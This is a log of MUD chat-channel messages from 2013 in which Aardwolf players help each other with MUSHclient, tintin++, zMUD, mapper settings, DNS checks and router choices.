T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: i dunno, but nnow the disappearing command bar seems to be an even bigger problem
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: Cheezburger broke it!
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: yeah it's official broken
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Zeid Tech: I highly recommend using the a mechanical keyboard such as 'daskeyboard' for all your typing needs!
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: when I loaded up the new mushclient the tick timer was there, but couldn't figure out how to get my mapper in
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: I've made things progressively worse
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: I'm now just trying to load my backup mapper files, but am unsure how to do that
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: somehow I lost my mapper, but have my aliases and triggers
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hythath Tech: is there a way to execute an alias in another alias? (said alias also shares a name with an emote)
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hanslanda Tech: if you mean an in-game alias, then no.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hythath Tech: I'm only aware of one kind of alias, so I'm assuming yes
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hanslanda Tech: if you mean an in-client alias, you can.  Mush requires you send to execute, and in zmud/cmud you just use the alias name like normal.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hythath Tech: I believe I have the MUSHclient and I suppose the Alias button is the in-client alias?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Arystul Tech: anyone good with webdesign want a job? :P
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Zeid Tech: I know a little about webdesign Arystul, what kind of site do you have in mind?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: anyone use J?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: J<-- just did :D
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: is performance really that superior compared to c/fortran?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: Major tech question.  Using Linux.  I use to know a way to do this but lost my backup...
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: What I want to do is set an action that can act off of '#sys tmux -v' the output of which is tmux 1.5
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: Does anyone know how to use tintin++ to create an action that will react to a '#sys <command>'?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I use to have this setup where tintin++ would detect weather tintin++ was installed this way.  Any tech's on?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Do you mean weather, or whether?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: weather tmux was isntalled*
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Right, whether.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: thank you whether
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Because weather is also a thing :P
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I don't know, why would you want to check tmux from within tintin++?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Shouldn't it be a tmux script checking that tintin++ was loaded correctly and in the right pane?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I use to know how to do it this way.  I like using tintin to create tmux layout.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: e.g. #math {tmux_split} {106 - 81}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: #sys {tmux split-window -h -l $tmux_split "tail -f log_tells.tt"}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: well 106 should say '$screen_width'
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: but my variable triggered when i cut pasted
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: $screen_width being a variable I find using tt++
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: Does anyone know how to use tintin++ to create an action that will react to a '#sys <command>'?  I use to know a method for doing this but I lost my backup.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I might just ask at the tintin++ forum, tech channel seems to be mostly for mush support.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I'm glad to be part of tintin++ discussion when it does happen thoug.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien rapidly nods twice at Zeid, in complete agreement.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Good to meet another user, though I don't know much about your particular problem.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I've talked to you about tintin before Trurien, it is indeed good comrade.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: ...comrade.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I think I figured it out now
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: with tt++ using '#script {path} {tmux -V}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: I get the variable '{path}={{1}{tmux 1.5}}'
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: which means we're in business :)
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: Zeid roars in victory over his fallen enemy.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: if you use tintin++ an action like '#highlight {%0} {<color code here>} may apply
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: Yep I just checked it.  Using linux OS and tintin++ client you can change your terminal settings for white background, although I'm not sure why you'd want to.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: white is glaring, grey on black is ultimate!
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: in case you missed it, you can create a tt++ action for a #sys <command> using:
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: #script {test} {tmux -V}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: #showme {tmux 1.5}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: #showme {$test[1]}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: Can someone give me the simple answer as to why my alias's in muchclient are unable to target other people? My mud alias's work just fine. they are just made like sanc = cast 'sanc'
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Vishos Tech: if you're making the alias in mush client you need to give it the variable for the target
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Vishos Tech: so for example an alias to cast sanc on someone else would look like "sanc *"   "cast sanctuary %1"
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Chembryl Tech: i dont use mush, but moste clients need a designator at the end (#alias {sanc} {cast sanc %1}
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: Thought i tried that, i must have done it wrong, Thanks :)
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: note that both the aard spellup command and the MUSHclient spellup scripts let you spellup other people without making your own aliases
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: Yea, i am baffled, i already had the %1 set up, because i had tried the * thing before
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: but it is working now, thank you much :)
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: wait, so all i gotta do is type spellup (player) and it cast all spells i can use on other people? Is what your sayin?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: .......
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: as shown in "help spellup"
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: This mud is amazing. The bells and whistles keep on falling out of the closet and smackin me in the face
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: spellup <target>     : Spellup another person.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Zeid Tech: writing your own 'spellup' script for any mud isn't as hard as it may seem
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Chembryl Tech: i dont like the way aard's built in spellup stacks the spells :(
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Blonk Tech: Thanks for the info fellas, appreciate it.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: might seem stupid but how do you put a hyperlink in a line of text?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: or more than 1 in 1 line?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: like on the mud or a web page?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Hollister Tech: depends on html you would do something like [url]http://url.co.za[/url] but I don't think its completly like that
T3/r7/2013-08-01.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: mud
T3/r7/2013-08-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: on the mud there is no way unless a persons client parses it, if it does you use html <a href="http://aardwolf.com">aardwolf</a>
T3/r7/2013-08-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i dont know about mush, but cmud auto parses http://www.aardwolf.com to make it a clickable link
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Ayasinda Tech: so does mush
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Loreli Tech: Is it just my inability to see the exception, or is remort auction not part of the GMCP module?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It's not.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Loreli Tech: Do you happen to know if there is a reason?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Hanslanda Tech: it's not part.  There are a few channels that either wholly or partially are not on the gmcp ship.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Hanslanda Tech: remort auction was perhaps just an oversight (market and regular auction are gmcp-enabled, after all), but stuff like pokerinfo game announcements are not sent via gmcp even though player chatter on the same channel is.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Loreli Tech: Ah, ok. Thanks Hanslanda.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}KarlRove Tech: hey, im having problems with the android client, whenever i try to use the buttons my screen just scrolls up, any idea how to fix this?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Leinei Tech: Is this a tablet?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Bamboo Tech: Have same problem, so I don't use the buttons anymore
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Turie Tech: I think he needs to ask Foxnews......
T3/r7/2013-08-01.txt.gz:{chan ch=tech}KarlRove Tech: its a droid razr
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: try typing .togglefullscreen
T3/r7/2013-08-01.txt.gz:{chan ch=tech}KarlRove Tech: it worked, thanks
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Tech: the "zone" for the buttons drifts in fullscreen mode...you can toggle it back on afterward and just use that to "reset" it whenever it gets too far off
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: can someone do me a favor and nslookup saturn.xencall.com, let me know if it's resolving... I can't figure out if my ISP is caching a bad response (I configured the domain to only cache negative responses for 50 seconds) or if there's a more serious problem
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Loreli Tech: It gives me an nonauthoritive response. Anything in particular you're looking for (sry, noob here)?
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: could you also try pangea.xencall.com
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: it's a CNAME to saturn.. on my end  nslookup saturn.xencall.com says "No internal type for both IPv4 and IPv6 Addresses (A+AAAA) records available for saturn.xencall.com"
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: and I have no AAAA records
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: i just switched to my own DNS servers an hour ago, but oddly nslookup pangea.encall.com resolves to the IP saturn.xencall.com is supposed to resolve to
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: regardless of it being a 
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: cname
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Loreli Tech: I got an nonauthoritive answer on that one too: pangea.xencall.com      canonical name = saturn.xencall.com.
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: yeah only one of the four DNS servers should be reporting authorative since the other 3 replicate from it
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: but cool thanks, I guess it's working
T3/r7/2013-08-01.txt.gz:{chan ch=tech}Catas Tobe Tech: my ISP must be ignoring my cache length request, which is weird since I have a wildcard subdomain that should be catching everything
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: this is a test
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: It would be sweet to have chat channels drizzle down vertically in the side panel colored green.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: matrix style
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Book of Etzli Tech: So write a plugin for it. ;)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Grasshacker Tech: That's way too stupid to be real. Nope. MySQL!
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Bamboo Tech: Anyone use Xamarin here?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Grissom Tech: i am busy making my own personal formatter in Delphi 7.0 i got almost everything right only problem is that when i copy the text from the memo field to the aard command input it still makes it one line although in delphi the text wraps after 79 characters any ideas?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: Here's a bolds question with a 99% chance of being shot down/ignored.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth perks up, something must have grabbed his attention.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: Here's a bold* question with a 99% chance of being shot down/ignored.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: Anyone have tintin++/wintin++ area maps they would be willing to share?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: Ayasinda rolls on the floor laughing at Zeid's antics!
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: My email is redpillinuxandzion.com
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: My email is redpillinuxandzion.com
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: cant find escape character for AT symbol
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Use two @
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: My email is redpill@linuxandzion.com
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: thanks Tech channel, your true implementors.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: what is the best clientto run on a netbook?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Which operating system is it running?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: windows 7
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: starter
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Many would recommend Mushclient :P
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: and you reccomend?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I would recommend Mushclient for Aard
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: me too
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I like Mushclient because it is well-supported and the Aard version is feature-packed...
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and lots of plugins!
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But I don't use it myself because I think MUD clients shouldn't have clicky clicky
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: For a keyboard-based game, unless you're on a touchscreen phone, you should use the keyboard as much as possible.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: I agree
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: So I prefer something like Tintin++ (Wintin++) which has minimal decoration.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: you dont have to install the click plugins
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien rapidly nods twice at Ayasinda, in complete agreement.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I've made it clear that it's my personal choice.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: all I  need is a map and stats
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I have that, map goes to a text file which I update as I enter each room, then a 21x32 console running tail -f keeps it in view :P
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But then I did spend a little time setting up my Linux "client".
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: what version of linux/
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Only a little, because it could be jazzed up a lot more even without buttons :)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Just Ubuntu 12.04, haven't checked out many others.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I was testing Arch and OpenSUSE for a while, and Fedora as well
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But I'm too used to apt-get :) So it's between Debian, Ubuntu and Mint
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: I've used crunchbang
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Crunchbang is based on Ubuntu, right?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: nice and lightweight, no debian uses apt-get
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: has openbox as a window manager
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Cosrin Tech: Ah debian! My bread and butter :)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: I've been on crunchbang since January... I love it
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: i think i'll reinstall crunchbang, and use tintin any plugins to run with it?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yeah, now 'based on Ubuntu' is significantly different from 'based on Debian'
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Mencheres Tech: tnanks all for the advice
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: anyone else use a keyboard with no letter or numbers? (Now where is prnt screen key!)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: Its got to be one of these 3...
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: I think I understand, ingame echo does same as client side (tt++) #showme
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zeid Tech: only it comes from the game, not the client
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: you'd still use them differently
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: coming from the game is a more-important distinction than you're thinking of
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: im getting runtime errors on the minichat(comm log window) plug in
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: ive tried to reload the plugin, reload mush it still happens
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Hi Bluebeetle.  The specific error messages would be useful.  Maybe copy and paste the entire message into pastebin?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: ok sec i'll dropbox it
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: here is the error capture https://dl.dropboxusercontent.com/u/50158571/error.html
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Are you using Windows 7/Vista?  What folder did you install it in?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I recall there is some issue with not installing in program files or something....
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: no still on xp :)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: so that is nonissue for me
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Are you editing that Aardchat log somewhere else?  Able to open it?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: hrm  leme see
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: The " Permission denied
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: is the issue I think...
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: i was able to open log
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Where'd you get that file?  Possible to create a new file and have it save the logs to that?  Is it possible another plugin, or mushclient is logging to that file?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: ok i turned off the logging for now, reloaded plugin working for now so will see :)
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and you don't have another copy of mush open or anything?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: no
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'd guess that error means 1) You don't have rights to that file (usually seen in Vista or later) or 2) Some other program has locked that file so you can't open it for editing...
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zoee Tech: hey guys, i need advice choosing a good wireless hub for my home. i don't need a cable modem, i got one. just a standalone wireless hub with good coverage.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zoee Tech: not very expensive too
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: netgear wndr4500
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ontuct Tech: or log onto a neighbors... that is the cheapest
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: i like the linksys ea2700
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: got a diff error this time
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: https://dl.dropboxusercontent.com/u/50158571/error2.html
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zoee Tech: thanks, i check both on amazon now.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Nope that's the same eror.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: error...
T3/r7/2013-08-02.txt.gz:{chan ch=tech}BlueBeetle Tech: hrmp i guess time to restart pc :p
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Zoee Tech: so the linksys one is £80 with average reviews and Netgear one is £120 with relatively good reviews. why should it be so expensive?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheapest place to order a usb keyboard for a rpi online?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: Zoee: because it's good?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Shue Tech: hi. how do i check what r version of mushclient i'm using?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: help>about mushclient
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Shue Tech: how do i find the rxxx version?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: I think you can look at the aardwolfpackagechanges file
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Shue Tech: found it, thanks
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Shue Tech: how do i update to r1773 and keep my current client layout with triggers?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: look at the aardwolf website. It has a tutorial
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Ayasinda Tech: on the mushclient download part
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Shue Tech: ok, thanks
T3/r7/2013-08-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: how do you map a no-map room with mush?
T3/r7/2013-08-02.txt.gz:{chan ch=tech}None the Wyza Tech: pretty sure you don't
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Turie Tech: You don't.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tasty Tipro Tech: not sure if you can, but try making cexits through the unmappable rooms
T3/r7/2013-08-02.txt.gz:{chan ch=tech}None the Wyza Tech: that is the general idea
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: I suck at Zmud and need help setting up an effective anti-void trigger thingy.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: #alarm 600 #CR
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how have you not figured this out over the 20 years you have been playing aardwolf
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: might need a set of {}
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: excellent question K :P
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: ok, I put in that alarm thing, didn't get any message or anything though
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: i.e. set a timer to send <enter> every 5-10 mins
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: no message is actually a good thing, means at least it was valid syntax
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: Turie laughs out loud at Not Guilty Kojiro.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Idom Tech: or make a trigger to spellup on tick
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: trying it with the fancy brackets gives me "that is not a command"
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: TorukMakto Talia nods.
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: I'd rather do something that gives no message, so I'm not spamming
T3/r7/2013-08-02.txt.gz:{chan ch=tech}TorukMakto Talia Tech: well, guess I'll test this out, thanks for the help. :P (and I haven't been playing Aaard for 20 years! Only 16 or so :P
T3/r7/2013-08-02.txt.gz:{chan ch=tech}Tech: TorukMakto Talia is old.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Xarfin Tech: Is anyone using Bast's eqDB with its overload option?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: is there a miniwin plugin that will track the moobs in a room?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: FirstBlade Gladacus rips off Ulrich's shirt, exposing his moobs!  Looks like Ulrich should look into buying a bro...
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: lol oops
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Nuanse Tech: something like this? http://www.gammon.com.au/forum/?id=9625
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: didn't try typing that one during battle :p
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Nuanse Tech: oh right, ulrich is ignoring me, he didnt get the link :)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Nuanse Tech: tough luck
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: sorry about that nuanse not sure how you got on ignore list
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: thanks for the answer though
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: and thanks for those that told me about it
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Cadriel Tech: yeah yeah :p
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: not saying I didnt ignore him but if so must've been long ago :p
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Nuanse Tech: not even sure if that script works anymore, it's 4 years old (from time when miniwin came in). haven't seen any others though
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: hmm worth a shot
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: no it seems to be broken
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: Im having trouble with a plugin it is stating a complie error [string "Plugin"]:350: invalid escape sequence near '"[%w'
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: context line is  350*:             sPat = "[%w\-]+$"
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: add another \ with the original \
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: okie
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: ok no more error message thanks Vakieh
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: no worries
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ghargan Tech: is there anyway to add doors to the aardwolf clients mapper
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: mapper help, see the cexit section
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ghargan Tech: ahhh right
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Be aware you need to preface the line with ; to stop it parsing any ;s you use in the cexit
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ghargan Tech: so you don't only use that for portals
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You use portals for portals, not cexits
